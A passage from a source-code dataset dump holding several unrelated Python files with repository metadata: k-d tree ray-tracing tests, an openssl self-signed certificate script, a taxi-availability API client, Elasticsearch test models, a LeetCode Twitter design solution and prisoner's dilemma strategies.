kdtree.KDNode(shapes.Triangle64(self.triangles.vertices, 1, np.arange(6).reshape(3, -1), compute_bounding_box=False)) right_tris = kdtree.KDNode(shapes.Triangle64(self.triangles.vertices, 1, np.arange(6, 12).reshape(3, -1), compute_bounding_box=False)) self.assertEqual(node.left, left_tris) self.assertEqual(node.right, right_tris) def test_trace(self): # TODO: figure out how to implement this pass

35.702

142

0.493866

from unittest import TestCase, skip import copy import numpy as np from giant import rotations as at from giant.ray_tracer import kdtree, shapes, rays class TestKDTree(TestCase): def setUp(self): self.max_depth = 4 tri1 = np.array([[-5, -4, -4.5], [0, 0, 1], [0, 0, 0]]) tri2 = tri1+np.array([[2.5, 0, 0]]).T tri3 = tri2+np.array([[2.5, 0, 0]]).T tri4 = tri3+np.array([[2.5, 0, 0]]).T self.triangles = shapes.Triangle64(np.hstack([tri1, tri2, tri3, tri4]).T, 1, np.arange(12).reshape(-1, 3)) self.shapes = self.triangles self.stacked_tries = shapes.Triangle64(np.hstack([tri1, tri2, tri1+[[0], [0], [2.5]], tri2 + [[0], [0], [2.5]]]).T, 1, np.arange(12).reshape(-1, 3)) def test_creation(self): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) self.assertEqual(tree.max_depth, self.max_depth) self.assertEqual(tree.surface, self.shapes) def test_build(self): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) tree.build(force=True, print_progress=False) facets = np.arange(12).reshape(-1, 3) tris = [shapes.Triangle64(self.triangles.vertices, self.triangles.albedos, face) for face in facets] for tri in tris: tri.bounding_box = None node20 = kdtree.KDNode(tris[0]) node21 = kdtree.KDNode(tris[1]) node22 = kdtree.KDNode(tris[2]) node23 = kdtree.KDNode(tris[3]) node10 = kdtree.KDNode() node10.bounding_box = shapes.AxisAlignedBoundingBox([-5, 0, 0], [-1.5, 1, 0]) node10.left = node20 node10.right = node21 node11 = kdtree.KDNode() node11.bounding_box = shapes.AxisAlignedBoundingBox([0., 0, 0], [3.5, 1, 0]) node11.left = node22 node11.right = node23 node00 = kdtree.KDNode() node00.bounding_box = self.triangles.bounding_box node00.left = node10 node00.right = node11 node00.order = 0 self.assertEqual(node00, tree.root) def test_trace(self): with self.subTest(stacked=False): tree = kdtree.KDTree(self.shapes, max_depth=self.max_depth) tree.build(force=True, print_progress=False) starts = np.array([[-4.5, -2, 0.5, 3], [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 1]]) directions = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test = rays.Rays(starts, directions) ints = tree.trace(rays_test) nodes = [tree.root.left.left, tree.root.left.right, tree.root.right.left, tree.root.right.right] with self.subTest(rotation=None, translation=None): for ind, int_check in enumerate(ints): with self.subTest(ignore=False, ind=ind): self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) ignore_ind = 2 rays_test.ignore = [nodes[ignore_ind].id*(10**(tree.root.order+1))]*rays_test.num_rays ints = tree.trace(rays_test) for ind, int_check in enumerate(ints): with self.subTest(ignore=True, ind=ind): if ind != ignore_ind: self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) else: self.assertFalse(int_check["check"]) self.assertTrue(np.isnan(int_check["intersect"]).all()) self.assertTrue(np.isnan(int_check["normal"]).all()) self.assertTrue(np.isnan(int_check["albedo"])) self.assertEqual(int_check["facet"], -1) rotation = at.Rotation([0, 0, -np.pi / 2]) rays_test.ignore = None with self.subTest(rotation=rotation, translation=None): tc = copy.deepcopy(tree) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[0.5, 0.5, 0.5, 0.5], [4.5, 2, -0.5, -3], [1, 1, 1, 1]]) directions2 = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 0, 1]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) translation = [0, 0, -0.5] with self.subTest(rotation=None, translation=translation): tc = copy.deepcopy(tree) tc.translate(translation) ints = tc.trace(rays_test) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1.5]) np.testing.assert_array_almost_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(rotation=rotation, translation=translation): tc = copy.deepcopy(tree) tc.rotate(rotation) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[0.5, 0.5, 0.5, 0.5], [4.5, 2, -0.5, -3], [1, 1, 1, 1]]) directions2 = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 0, 1.5]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) rotation = at.Rotation([np.pi / 2, 0, 0]) with self.subTest(rotation=rotation, translation=None): tc = copy.deepcopy(tree) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0.5, 0.5, 0.5, 0.5]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) translation = [2.5, 0, 0] with self.subTest(rotation=None, translation=translation): tc = copy.deepcopy(tree) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"][0]) for ind, int_check in enumerate(ints[1:]): ind += 1 self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) np.testing.assert_array_almost_equal(int_check["normal"], self.triangles.normals[ind-1]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind-1].id*(10**(tc.root.order+1))) translation = [0, -0.5, 0] with self.subTest(rotation=rotation, translation=translation): with self.subTest(order='rt'): tc = copy.deepcopy(tree) tc.rotate(rotation) tc.translate(translation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0.5, 0.5, 0.5, 0.5]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1.5, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(order='tr'): tc = copy.deepcopy(tree) tc.translate(translation) tc.rotate(rotation) ints = tc.trace(rays_test) self.assertFalse(ints["check"].any()) starts2 = np.array([[-4.5, -2, 0.5, 3], [1, 1, 1, 1], [0, 0, 0, 0]]) directions2 = np.array([[0, 0, 0, 0], [-1, -1, -1, -1], [0, 0, 0, 0]], dtype=np.float64) rays_test2 = rays.Rays(starts2, directions2) ints = tc.trace(rays_test2) for ind, int_check in enumerate(ints): self.assertTrue(int_check["check"]) np.testing.assert_array_almost_equal(int_check["intersect"], starts2[:, ind]-[0, 1, 0]) np.testing.assert_array_equal(int_check["normal"], rotation.matrix@self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tc.root.order+1))) with self.subTest(stacked=True): tree = kdtree.KDTree(self.stacked_tries, max_depth=self.max_depth) tree.build(force=True, print_progress=False) starts = np.array([[-4.5, -2, -4.5, -2], [0.5, 0.5, 0.5, 0.5], [1, 1, 5, 5]]) directions = np.array([[0, 0, 0, 0], [0, 0, 0, 0], [-1, -1, -1, -1]], dtype=np.float64) rays_test = rays.Rays(starts, directions) ints = tree.trace(rays_test) nodes = [tree.root.left.left, tree.root.right.left, tree.root.left.right, tree.root.right.right] for ind, int_check in enumerate(ints): with self.subTest(ignore=False, ind=ind): self.assertTrue(int_check["check"]) if ind < 2: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) else: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 2.5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) ignore_ind = 2 rays_test.ignore = [nodes[ignore_ind].id*(10**(tree.root.order+1))]*rays_test.num_rays ints = tree.trace(rays_test) for ind, int_check in enumerate(ints): with self.subTest(ignore=True, ind=ind): if ind != ignore_ind: self.assertTrue(int_check["check"]) if ind < 2: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 1]) else: np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 2.5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[ind].id*(10**(tree.root.order+1))) else: self.assertTrue(int_check["check"]) np.testing.assert_array_equal(int_check["intersect"], starts[:, ind]-[0, 0, 5]) np.testing.assert_array_equal(int_check["normal"], self.triangles.normals[ind]) self.assertEqual(int_check["albedo"], 1.0) self.assertEqual(int_check["facet"], 0+nodes[0].id*(10**(tree.root.order+1))) class TestKDNode(TestCase): def setUp(self): tri1 = np.array([[-5, -4, -4.5], [0, 0, 1], [0, 0, 0]]) tri2 = tri1+np.array([[2.5, 0, 0]]).T tri3 = tri2+np.array([[2.5, 0, 0]]).T tri4 = tri3+np.array([[2.5, 0, 0]]).T self.triangles = shapes.Triangle64(np.hstack([tri1, tri2, tri3, tri4]).T, 1, np.arange(12).reshape(-1, 3)) def test_creation(self): node = kdtree.KDNode(surface=self.triangles) self.assertEqual(node.surface, self.triangles) self.assertEqual(node.bounding_box, self.triangles.bounding_box) self.assertIsNone(node.left) self.assertIsNone(node.right) def test_compute_bounding_box(self): node = kdtree.KDNode() node.surface = self.triangles node.has_surface = True node.compute_bounding_box() self.assertEqual(node.bounding_box, self.triangles.bounding_box) def test_split(self): node = kdtree.KDNode(surface=self.triangles) node.split(force=True, print_progress=False) left_tris = kdtree.KDNode(shapes.Triangle64(self.triangles.vertices, 1, np.arange(6).reshape(3, -1), compute_bounding_box=False)) right_tris = kdtree.KDNode(shapes.Triangle64(self.triangles.vertices, 1, np.arange(6, 12).reshape(3, -1), compute_bounding_box=False)) self.assertEqual(node.left, left_tris) self.assertEqual(node.right, right_tris) def test_trace(self): pass

true

f7051dc56c585ff1a625d6db41e7759458136b36

446

py

Python

scripts/debian/usr/lib/dipicar/scripts/installation/ssl_keys_gen.py

TeaFlex/DiPiCar

e56f74ac55f5cfff22fd82807b06dc367c42cac0

[ "0BSD" ]

1

2021-07-10T13:41:00.000Z

scripts/debian/usr/lib/dipicar/scripts/installation/ssl_keys_gen.py

TeaFlex/DiPiCar

e56f74ac55f5cfff22fd82807b06dc367c42cac0

[ "0BSD" ]

null

scripts/debian/usr/lib/dipicar/scripts/installation/ssl_keys_gen.py

TeaFlex/DiPiCar

e56f74ac55f5cfff22fd82807b06dc367c42cac0

[ "0BSD" ]

null

#!/usr/bin/python3 from subprocess import call; from sys import argv from os import path outPath = argv[1] if(len(argv)>1) else "/etc/dipicar/creds" duration = 365 rsaLength = 4096 #Generate ssl keys call([ "openssl", "req", "-x509", "-newkey", "rsa:"+str(rsaLength), "-keyout", path.join(outPath,"key.pem"), "-out", path.join(outPath,"cert.pem"), "-days", str(duration), "--batch", "-nodes" ])

19.391304

59

0.596413

from subprocess import call; from sys import argv from os import path outPath = argv[1] if(len(argv)>1) else "/etc/dipicar/creds" duration = 365 rsaLength = 4096 call([ "openssl", "req", "-x509", "-newkey", "rsa:"+str(rsaLength), "-keyout", path.join(outPath,"key.pem"), "-out", path.join(outPath,"cert.pem"), "-days", str(duration), "--batch", "-nodes" ])

true

f705210f06709ba3f43e67e92c0421ff78f57d45

649

py

Python

chalicelib/api/taxiAvailability.py

yeukfei02/singapore-taxi-api

25749c3a8c07849d4a2a13410da712ca64d102ca

[ "MIT" ]

null

chalicelib/api/taxiAvailability.py

yeukfei02/singapore-taxi-api

25749c3a8c07849d4a2a13410da712ca64d102ca

[ "MIT" ]

1

2021-05-04T03:30:01.000Z

2021-05-05T13:38:41.000Z

chalicelib/api/taxiAvailability.py

yeukfei02/singapore-taxi-api

25749c3a8c07849d4a2a13410da712ca64d102ca

[ "MIT" ]

null

import requests import os ROOT_URL = 'http://datamall2.mytransport.sg/ltaodataservice' def get_taxi_availability_request(): result = None try: url = '{}/Taxi-Availability'.format(ROOT_URL) headers = { 'AccountKey': os.getenv('ACCOUNT_KEY'), 'Accept': 'application/json' } response = requests.get(url, headers=headers) print('response status = ', response.status_code) print('response json = ', response.json()) if response.status_code == 200: result = response.json() except Exception as e: print('error = ', e) return result

24.037037

60

0.604006

import requests import os ROOT_URL = 'http://datamall2.mytransport.sg/ltaodataservice' def get_taxi_availability_request(): result = None try: url = '{}/Taxi-Availability'.format(ROOT_URL) headers = { 'AccountKey': os.getenv('ACCOUNT_KEY'), 'Accept': 'application/json' } response = requests.get(url, headers=headers) print('response status = ', response.status_code) print('response json = ', response.json()) if response.status_code == 200: result = response.json() except Exception as e: print('error = ', e) return result

true

f7052138819216e6f5c48540636b581bd627c13e

1,164

py

Python

ocdb/ws/handlers/__init__.py

eocdb/ocdb-server

0e28d092e8ecf5f4813878aab43de990cc5fb4ee

[ "MIT" ]

null

ocdb/ws/handlers/__init__.py

eocdb/ocdb-server

0e28d092e8ecf5f4813878aab43de990cc5fb4ee

[ "MIT" ]

1

2019-06-21T09:43:01.000Z

eocdb/ws/handlers/__init__.py

bcdev/ocdb-server

027078f2b022a06b3a417d76d273514a72f8cac7

[ "MIT" ]

null

# The MIT License (MIT) # Copyright (c) 2018 by EUMETSAT # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is furnished to do # so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from ._mappings import MAPPINGS, API_URL_PREFIX

48.5

81

0.77921

from ._mappings import MAPPINGS, API_URL_PREFIX

true

f705217d4ccc8cc742ed3dae28f533f8474e2433

1,752

py

Python

tests/adapters/model/elasticsearch_model/elements.py

mpsiva89/protean

315fa56da3f64178bbbf0edf1995af46d5eb3da7

[ "BSD-3-Clause" ]

null

tests/adapters/model/elasticsearch_model/elements.py

mpsiva89/protean

315fa56da3f64178bbbf0edf1995af46d5eb3da7

[ "BSD-3-Clause" ]

null

tests/adapters/model/elasticsearch_model/elements.py

mpsiva89/protean

315fa56da3f64178bbbf0edf1995af46d5eb3da7

[ "BSD-3-Clause" ]

null

import re from collections import defaultdict from datetime import datetime from elasticsearch_dsl import Keyword, Text from protean import BaseAggregate, BaseValueObject from protean.core.model import BaseModel from protean.fields import DateTime, Integer, String from protean.fields import Text as ProteanText from protean.fields import ValueObject class Person(BaseAggregate): first_name = String(max_length=50, required=True) last_name = String(max_length=50, required=True) age = Integer(default=21) created_at = DateTime(default=datetime.now()) class Alien(BaseAggregate): first_name = String(max_length=50, required=True) last_name = String(max_length=50, required=True) age = Integer(default=21) class User(BaseAggregate): email = String(max_length=255, required=True, unique=True) password = String(max_length=3026) class Email(BaseValueObject): REGEXP = r"\"?([-a-zA-Z0-9.`?{}]+@\w+\.\w+)\"?" # This is the external facing data attribute address = String(max_length=254, required=True) def clean(self): """Business rules of Email address""" errors = defaultdict(list) if not bool(re.match(Email.REGEXP, self.address)): errors["address"].append("is invalid") return errors class ComplexUser(BaseAggregate): email = ValueObject(Email, required=True) password = String(required=True, max_length=255) class Provider(BaseAggregate): name = ProteanText() about = ProteanText() class ProviderCustomModel(BaseModel): id = Keyword() name = Text(fields={"raw": Keyword()}) about = Text() class Meta: schema = "providers" class Receiver(BaseAggregate): name = String() age = Integer()

24.676056

62

0.703196

import re from collections import defaultdict from datetime import datetime from elasticsearch_dsl import Keyword, Text from protean import BaseAggregate, BaseValueObject from protean.core.model import BaseModel from protean.fields import DateTime, Integer, String from protean.fields import Text as ProteanText from protean.fields import ValueObject class Person(BaseAggregate): first_name = String(max_length=50, required=True) last_name = String(max_length=50, required=True) age = Integer(default=21) created_at = DateTime(default=datetime.now()) class Alien(BaseAggregate): first_name = String(max_length=50, required=True) last_name = String(max_length=50, required=True) age = Integer(default=21) class User(BaseAggregate): email = String(max_length=255, required=True, unique=True) password = String(max_length=3026) class Email(BaseValueObject): REGEXP = r"\"?([-a-zA-Z0-9.`?{}]+@\w+\.\w+)\"?" address = String(max_length=254, required=True) def clean(self): errors = defaultdict(list) if not bool(re.match(Email.REGEXP, self.address)): errors["address"].append("is invalid") return errors class ComplexUser(BaseAggregate): email = ValueObject(Email, required=True) password = String(required=True, max_length=255) class Provider(BaseAggregate): name = ProteanText() about = ProteanText() class ProviderCustomModel(BaseModel): id = Keyword() name = Text(fields={"raw": Keyword()}) about = Text() class Meta: schema = "providers" class Receiver(BaseAggregate): name = String() age = Integer()

true

f70521986d834f98db5a48207bb5f18312adac09

3,207

py

Python

355.Design-Twitter.py

mickey0524/leetcode

6bedeb6ff29b02a97178cca464c5fd639951801f

[ "MIT" ]

18

2018-07-14T12:45:37.000Z

2022-03-26T14:51:04.000Z

355.Design-Twitter.py

mickey0524/leetcode

6bedeb6ff29b02a97178cca464c5fd639951801f

[ "MIT" ]

null

355.Design-Twitter.py

mickey0524/leetcode

6bedeb6ff29b02a97178cca464c5fd639951801f

[ "MIT" ]

3

2019-05-29T04:09:22.000Z

2021-06-07T23:37:46.000Z

# https://leetcode.com/problems/design-twitter/ # # algorithms # Medium (27.98%) # Total Accepted: 37,655 # Total Submissions: 134,594 from collections import defaultdict from bisect import insort class Twitter(object): def __init__(self): """ Initialize your data structure here. """ self.follow_map = defaultdict(set) # 关注列表 self.followed_map = defaultdict(set) # 被关注列表 self.tweet_map = defaultdict(list) # 用户关注的列表 self.post_map = defaultdict(list) # 发布列表 self.tweet_stamp = 0 def postTweet(self, userId, tweetId): """ Compose a new tweet. :type userId: int :type tweetId: int :rtype: None """ self.post_map[userId].append((self.tweet_stamp, tweetId)) for id in self.followed_map[userId]: insort(self.tweet_map[id], (self.tweet_stamp, tweetId)) insort(self.tweet_map[userId], (self.tweet_stamp, tweetId)) self.tweet_stamp += 1 def getNewsFeed(self, userId): """ Retrieve the 10 most recent tweet ids in the user's news feed. Each item in the news feed must be posted by users who the user followed or by the user herself. Tweets must be ordered from most recent to least recent. :type userId: int :rtype: List[int] """ length = len(self.tweet_map[userId]) if length <= 10: arr = self.tweet_map[userId] else: arr = self.tweet_map[userId][length - 10:] return [item[-1] for item in reversed(arr)] def follow(self, followerId, followeeId): """ Follower follows a followee. If the operation is invalid, it should be a no-op. :type followerId: int :type followeeId: int :rtype: None """ if followerId == followeeId: return if followeeId in self.follow_map[followerId]: return self.follow_map[followerId].add(followeeId) self.followed_map[followeeId].add(followerId) for stamp, tweetId in self.post_map[followeeId]: insort(self.tweet_map[followerId], (stamp, tweetId)) def unfollow(self, followerId, followeeId): """ Follower unfollows a followee. If the operation is invalid, it should be a no-op. :type followerId: int :type followeeId: int :rtype: None """ if followerId == followeeId: return if followeeId not in self.follow_map[followerId]: return self.follow_map[followerId].remove(followeeId) self.followed_map[followeeId].remove(followerId) tweet_map = set() for stamp, _ in self.post_map[followeeId]: tweet_map.add(stamp) tmp = [] for stamp, tweetId in self.tweet_map[followerId]: if stamp not in tweet_map: tmp.append((stamp, tweetId)) self.tweet_map[followerId] = tmp # Your Twitter object will be instantiated and called as such: # obj = Twitter() # obj.postTweet(userId,tweetId) # param_2 = obj.getNewsFeed(userId) # obj.follow(followerId,followeeId) # obj.unfollow(followerId,followeeId)

29.971963

224

0.617711

from collections import defaultdict from bisect import insort class Twitter(object): def __init__(self): self.follow_map = defaultdict(set) self.followed_map = defaultdict(set) self.tweet_map = defaultdict(list) self.post_map = defaultdict(list) self.tweet_stamp = 0 def postTweet(self, userId, tweetId): self.post_map[userId].append((self.tweet_stamp, tweetId)) for id in self.followed_map[userId]: insort(self.tweet_map[id], (self.tweet_stamp, tweetId)) insort(self.tweet_map[userId], (self.tweet_stamp, tweetId)) self.tweet_stamp += 1 def getNewsFeed(self, userId): length = len(self.tweet_map[userId]) if length <= 10: arr = self.tweet_map[userId] else: arr = self.tweet_map[userId][length - 10:] return [item[-1] for item in reversed(arr)] def follow(self, followerId, followeeId): if followerId == followeeId: return if followeeId in self.follow_map[followerId]: return self.follow_map[followerId].add(followeeId) self.followed_map[followeeId].add(followerId) for stamp, tweetId in self.post_map[followeeId]: insort(self.tweet_map[followerId], (stamp, tweetId)) def unfollow(self, followerId, followeeId): if followerId == followeeId: return if followeeId not in self.follow_map[followerId]: return self.follow_map[followerId].remove(followeeId) self.followed_map[followeeId].remove(followerId) tweet_map = set() for stamp, _ in self.post_map[followeeId]: tweet_map.add(stamp) tmp = [] for stamp, tweetId in self.tweet_map[followerId]: if stamp not in tweet_map: tmp.append((stamp, tweetId)) self.tweet_map[followerId] = tmp

true

f705220d566871e203d73d64093d17551fc09aa8

4,506

py

Python

tactics.py

knuekim98/titfortat-simulator

96e1c92058d43b6e4641ea323772a7fdd22a4ccd

[ "MIT" ]

null

tactics.py

knuekim98/titfortat-simulator

96e1c92058d43b6e4641ea323772a7fdd22a4ccd

[ "MIT" ]

null

tactics.py

knuekim98/titfortat-simulator

96e1c92058d43b6e4641ea323772a7fdd22a4ccd

[ "MIT" ]

null

from const import result import random C, D = True, False def opponent(r): if r == result.COOP or r == result.DEFECT: return True return False # tit for tat class Tft: def __init__(self) -> None: self.score = 0 self.last_reaction = C def run(self): return self.last_reaction def next(self, r): self.score += r.value self.last_reaction = opponent(r) def end(self): self.last_reaction = C return self.score # tit for two tat class Tftt: def __init__(self) -> None: self.score = 0 self.last_reaction = C self.last_last_reaction = C def run(self): return self.last_reaction | self.last_last_reaction def next(self, r): self.score += r.value self.last_last_reaction = self.last_reaction self.last_reaction = opponent(r) def end(self): self.last_reaction = C self.last_last_reaction = C return self.score # always coop class AlwaysCoop: def __init__(self) -> None: self.score = 0 def run(self): return C def next(self, r): self.score += r.value def end(self): return self.score # always defect class AlwaysDefect: def __init__(self) -> None: self.score = 0 def run(self): return D def next(self, r): self.score += r.value def end(self): return self.score # perfect random(50%) class Random: def __init__(self) -> None: self.score = 0 def run(self): return random.choice([C, D]) def next(self, r): self.score += r.value def end(self): return self.score # first defect, opponent coop rate - coop(>50%) / defect(<=50%) class Downing: def __init__(self) -> None: self.score = 0 self.game_count = 0 self.coop_count = 0 def run(self): if self.game_count == 0: return D if self.coop_count / self.game_count > 0.5: return C return D def next(self, r): self.score += r.value self.game_count += 1 if opponent(r): self.coop_count += 1 def end(self): self.game_count = self.coop_count = 0 return self.score # first coop, opponent coop rate - coop(>=50%) / defect(<50%) class Downing2: def __init__(self) -> None: self.score = 0 self.game_count = 0 self.coop_count = 0 def run(self): if self.game_count == 0: return C if self.coop_count / self.game_count >= 0.5: return C return D def next(self, r): self.score += r.value self.game_count += 1 if opponent(r): self.coop_count += 1 def end(self): self.game_count = self.coop_count = 0 return self.score # coop, always defect once defected class Grudger: def __init__(self) -> None: self.score = 0 self.defected = False def run(self): if self.defected: return D return C def next(self, r): self.score += r.value if not opponent(r): self.defected = True def end(self): return self.score # tft but defect by 10% rate class Joss: def __init__(self) -> None: self.score = 0 self.last_reaction = C def run(self): if random.randint(1, 10) == 1: return D return self.last_reaction def next(self, r): self.score += r.value self.last_reaction = opponent(r) def end(self): self.last_reaction = C return self.score # wip class Tester: def __init__(self) -> None: self.score = 0 self.decision = True self.test_tft = False self.game_count = 0 def run(self): if self.game_count == 0: return D return self.decision def next(self, r): self.score += r.value if self.game_count == 1 & (not opponent(r)): self.test_tft = True elif self.test_tft: self.decision = opponent(r) elif self.game_count <= 2: self.decision = True else: self.decision = not self.decision self.game_count += 1 def end(self): self.decision = True self.test_tft = False self.game_count = 0 return self.score

20.669725

63

0.545717

from const import result import random C, D = True, False def opponent(r): if r == result.COOP or r == result.DEFECT: return True return False class Tft: def __init__(self) -> None: self.score = 0 self.last_reaction = C def run(self): return self.last_reaction def next(self, r): self.score += r.value self.last_reaction = opponent(r) def end(self): self.last_reaction = C return self.score class Tftt: def __init__(self) -> None: self.score = 0 self.last_reaction = C self.last_last_reaction = C def run(self): return self.last_reaction | self.last_last_reaction def next(self, r): self.score += r.value self.last_last_reaction = self.last_reaction self.last_reaction = opponent(r) def end(self): self.last_reaction = C self.last_last_reaction = C return self.score class AlwaysCoop: def __init__(self) -> None: self.score = 0 def run(self): return C def next(self, r): self.score += r.value def end(self): return self.score class AlwaysDefect: def __init__(self) -> None: self.score = 0 def run(self): return D def next(self, r): self.score += r.value def end(self): return self.score class Random: def __init__(self) -> None: self.score = 0 def run(self): return random.choice([C, D]) def next(self, r): self.score += r.value def end(self): return self.score class Downing: def __init__(self) -> None: self.score = 0 self.game_count = 0 self.coop_count = 0 def run(self): if self.game_count == 0: return D if self.coop_count / self.game_count > 0.5: return C return D def next(self, r): self.score += r.value self.game_count += 1 if opponent(r): self.coop_count += 1 def end(self): self.game_count = self.coop_count = 0 return self.score class Downing2: def __init__(self) -> None: self.score = 0 self.game_count = 0 self.coop_count = 0 def run(self): if self.game_count == 0: return C if self.coop_count / self.game_count >= 0.5: return C return D def next(self, r): self.score += r.value self.game_count += 1 if opponent(r): self.coop_count += 1 def end(self): self.game_count = self.coop_count = 0 return self.score class Grudger: def __init__(self) -> None: self.score = 0 self.defected = False def run(self): if self.defected: return D return C def next(self, r): self.score += r.value if not opponent(r): self.defected = True def end(self): return self.score class Joss: def __init__(self) -> None: self.score = 0 self.last_reaction = C def run(self): if random.randint(1, 10) == 1: return D return self.last_reaction def next(self, r): self.score += r.value self.last_reaction = opponent(r) def end(self): self.last_reaction = C return self.score class Tester: def __init__(self) -> None: self.score = 0 self.decision = True self.test_tft = False self.game_count = 0 def run(self): if self.game_count == 0: return D return self.decision def next(self, r): self.score += r.value if self.game_count == 1 & (not opponent(r)): self.test_tft = True elif self.test_tft: self.decision = opponent(r) elif self.game_count <= 2: self.decision = True else: self.decision = not self.decision self.game_count += 1 def end(self): self.decision = True self.test_tft = False self.game_count = 0 return self.score

true

f705226f63166954703af3428c9ff9c96723765d

8,341

py

Python

autotest/test_gwf_uzf_surfdep.py

mkennard-aquaveo/modflow6

73a0553636362c90f7d134318e1f5d902dbdc4d3

[ "CC0-1.0" ]

null

autotest/test_gwf_uzf_surfdep.py

mkennard-aquaveo/modflow6

73a0553636362c90f7d134318e1f5d902dbdc4d3

[ "CC0-1.0" ]

null

autotest/test_gwf_uzf_surfdep.py

mkennard-aquaveo/modflow6

73a0553636362c90f7d134318e1f5d902dbdc4d3

[ "CC0-1.0" ]

null

